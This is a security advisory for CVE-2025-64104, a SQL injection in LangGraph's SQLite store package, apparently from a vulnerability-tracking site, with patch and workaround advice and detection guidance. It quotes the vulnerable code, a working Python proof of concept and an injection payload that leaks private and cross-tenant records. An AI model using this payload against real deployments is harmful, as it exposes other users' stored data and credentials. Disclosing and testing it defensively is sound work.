CVE-2025-64104

GHSA-7p73-8jqx-23r8 HIGH
Published October 29, 2025
CISO Take

If your LangGraph agents use SqliteStore with any user-supplied or externally-derived filter keys, you have a SQL injection that bypasses namespace isolation and leaks cross-tenant data. Patch to langgraph-checkpoint-sqlite 2.0.11 today — the fix is a one-line version bump. If you can't patch immediately, audit every SqliteStore.search() call and enforce a strict allowlist on filter keys before they reach the store.

Affected Systems

Package Ecosystem Vulnerable Range Patched
langgraph-checkpoint-sqlite pip <= 2.0.10 2.0.11

Do you use langgraph-checkpoint-sqlite? You're affected.

Severity & Risk

CVSS 3.1
7.3 / 10
EPSS
0.1%
chance of exploitation in 30 days
KEV Status
Not in KEV
Sophistication
Trivial

Recommended Action

  1. 1. PATCH: Upgrade langgraph-checkpoint-sqlite to 2.0.11+. This is the only complete fix. 2. WORKAROUND (if patching is delayed): Implement a strict allowlist of permitted filter keys at the application layer before any call to SqliteStore.search(). Reject or sanitize any key not in the allowlist. 3. AUDIT: Search your codebase for all calls to store.search() or SqliteStore usage and trace the origin of every filter key — flag any path where keys could originate from user input, LLM output, or external APIs. 4. DETECTION: Enable SQLite query logging if available, or wrap SqliteStore calls with parameter validation middleware that alerts on keys containing SQL metacharacters (quotes, parentheses, operators). 5. VERIFY: After patching, confirm the fix by running the published PoC in a test environment — the injected query should return only the expected documents, not private ones.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
6.1.2 - AI Risk Assessment 8.4 - AI System Operation
NIST AI RMF
MANAGE-2.2 - Mechanisms to sustain the value of deployed AI systems
OWASP LLM Top 10
LLM02:2025 - Sensitive Information Disclosure LLM03:2025 - Supply Chain

Technical Details

NVD Description

### Summary LangGraph's SQLite store implementation contains SQL injection vulnerabilities using direct string concatenation without proper parameterization, allowing attackers to inject arbitrary SQL and bypass access controls. ### Details [`/langgraph/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py`](https://github.com/langchain-ai/langgraph/blob/ee5d052a07aadd76dae123a27009ea0a3694fa0a/libs/checkpoint-sqlite/langgraph/store/sqlite/base.py#L407) The key portion of the JSON path is concatenated directly into the SQL string without sanitation. There's a few different occurrences within the file. ```python filter_conditions.append( "json_extract(value, '$." + key # <-- Directly concatenated, no escaping! + "') = '" + value.replace("'", "''") # <-- Only value is escaped + "'" ) ``` ### Who is affected This issue affects **only developers or projects that directly use the `checkpoint-sqlite` store**. An application is vulnerable only if it: 1. Instantiates the `SqliteStore` from the `checkpoint-sqlite` package, **and** 2. Builds the `filter` argument using keys derived from **untrusted or user-supplied input** (such as query parameters, request bodies, or other external data). If filter keys are static or validated/allowlisted before being passed to the store, the risk does not apply. Note: users of LangSmith deployments (previously known as LangGraph Platform) are not affected as those deployments rely on a different checkpointer implementation. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ ```python #!/usr/bin/env python3 """Minimal SQLite Key Injection POC for LangGraph""" from langgraph.store.sqlite import SqliteStore # Create store with test data with SqliteStore.from_conn_string(":memory:") as store: store.setup() # Add public and private documents store.put(("docs",), "public", {"access": "public", "data": "public info"}) store.put(("docs",), "private", {"access": "private", "data": "secret", "password": "123"}) # Normal query - returns 1 public document normal = store.search(("docs",), filter={"access": "public"}) print(f"Normal query: {len(normal)} docs") # SQL injection via malicious key malicious_key = "access') = 'public' OR '1'='1' OR json_extract(value, '$." injected = store.search(("docs",), filter={malicious_key: "dummy"}) print(f"Injected query: {len(injected)} docs") for doc in injected: if doc.value.get("access") == "private": print(f"LEAKED: {doc.value}") ```

Exploitation Scenario

An adversary using a multi-tenant LangGraph application — such as a shared AI assistant platform or a RAG agent with per-user memory — crafts an API request where the filter key contains a SQL fragment: access') = 'public' OR '1'='1' OR json_extract(value, '$.. The application passes this key directly to SqliteStore.search(), which concatenates it into a raw SQL query. The injected condition evaluates to TRUE for all rows, bypassing the intended namespace filter and returning all stored agent states, user memories, and checkpoint data across every tenant. The attacker iterates over namespaces, extracting sensitive business context, PII, API keys, or conversation history stored in agent memory — all with a single HTTP request requiring only a standard user account.

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Timeline

Published
October 29, 2025
Last Modified
October 29, 2025
First Seen
March 24, 2026